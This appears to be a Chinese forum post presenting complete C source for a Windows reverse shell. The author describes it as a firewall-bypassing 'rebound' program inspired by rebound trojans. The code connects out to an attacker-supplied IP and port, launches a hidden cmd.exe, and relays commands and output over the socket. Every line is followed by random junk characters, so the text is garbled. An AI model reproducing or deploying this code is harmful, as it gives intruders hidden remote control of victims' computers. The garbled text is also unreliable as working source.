Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 y H+CyL\  
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/* ============================== bL0+v@(r  
Rebound port in Windows NT DMf^>{[  
By wind,2006/7 d_5h6Cz4  
===============================*/ ~d{E>J77j  
#include NLz$jk%=g  
#include Qs%f6rL  
B|,6m 3.  
#pragma comment(lib,"wsock32.lib") KL5rF,DME  
OPKX&)SE-  
void OutputShell(); [&{"1Z  
SOCKET sClient; DN^ln%#  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5V?1/  
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void main(int argc,char **argv) U#F(#3/  
{ *D<sk7  
WSADATA stWsaData; }FM<uBKW  
int nRet; W_sDF; JP  
SOCKADDR_IN stSaiClient,stSaiServer; "X]ufZ7  
r<|\4zIo/  
if(argc != 3) >F-J}P  
{ ._FgQ``PL  
printf("Useage:\n\rRebound DestIP DestPort\n"); v(: VUo]H  
return; Zfb:>J@h6  
} (n`\b47  
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WSAStartup(MAKEWORD(2,2),&stWsaData); %mcuYR'D}  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zG@!(  
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stSaiClient.sin_family = AF_INET; PTePSj1N  
stSaiClient.sin_port = htons(0); *=2jteG=3.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ZVGw
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$%t{O[(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fi?[ e?|c@  
{ %pwm34  
printf("Bind Socket Failed!\n"); MfL q h  
return; xxV{1, H2  
} +=}% 7o  
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stSaiServer.sin_family = AF_INET; <0kRky$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (g4g-"rc  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !Uj !Oy  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) cnIy*!cJs  
{ [9LYR3 p  
printf("Connect Error!"); vuAAaKz  
return; g|+G(~=e|  
} 17 j7j@s)  
OutputShell(); N%?o-IY  
} 6u.b?_u  
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void OutputShell() be764do  
{ "
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char szBuff[1024]; u!@P,,NY  
SECURITY_ATTRIBUTES stSecurityAttributes; D8dTw{C  
OSVERSIONINFO stOsversionInfo; C#r`oZS1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J]~fv9~P  
STARTUPINFO stStartupInfo; C$(t`G  
char *szShell; 6*LU+U=`  
PROCESS_INFORMATION stProcessInformation; qq?>ulu*W  
unsigned long lBytesRead; q7)$WXe2LM  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NeK:[Q@je  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #dl8+  
stSecurityAttributes.lpSecurityDescriptor = 0; ow$#kQ&R O  
stSecurityAttributes.bInheritHandle = TRUE; @O3
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w_{z"VeD  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); NMj`wQ`M+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .xk<7^ZD  
/f6]XP\'`+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >WD^)W fa  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I{Kc{MXn  
stStartupInfo.wShowWindow = SW_HIDE; z)]EB6uRg  
stStartupInfo.hStdInput = hReadPipe; TY#1Z )%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; i5wA=K_  
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GetVersionEx(&stOsversionInfo); (la   
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switch(stOsversionInfo.dwPlatformId) DRzpV6s  
{ CTI(Kh+  
case 1: K8+b\k4E  
szShell = "command.com"; ^y3\e  
break; #k"[TCQ>  
default: ( ou:"Y  
szShell = "cmd.exe"; sXydMk`J  
break; Pw7'6W1  
} YVaQ3o|!  
&t8_J3?Z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); OcH-`A  
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send(sClient,szMsg,77,0); \LYQZ*F  
while(1) cwD0 ~B
 
{ P0Jd6"sS"  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7L\GI`y  
if(lBytesRead) y$&a(S]  
{ -'0AV,{Z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); feopO j6~+  
send(sClient,szBuff,lBytesRead,0); ft*0?2N~  
} jK=*~I  
else !'gz&3B~h  
{ A8RT3OiXA  
lBytesRead=recv(sClient,szBuff,1024,0); V*m)h  
if(lBytesRead<=0) break; F*w|/-e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \}Wkj~IX  
} ~^euaOFU 6  
} IL=v[)en4  
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return; hHg gH4T  
}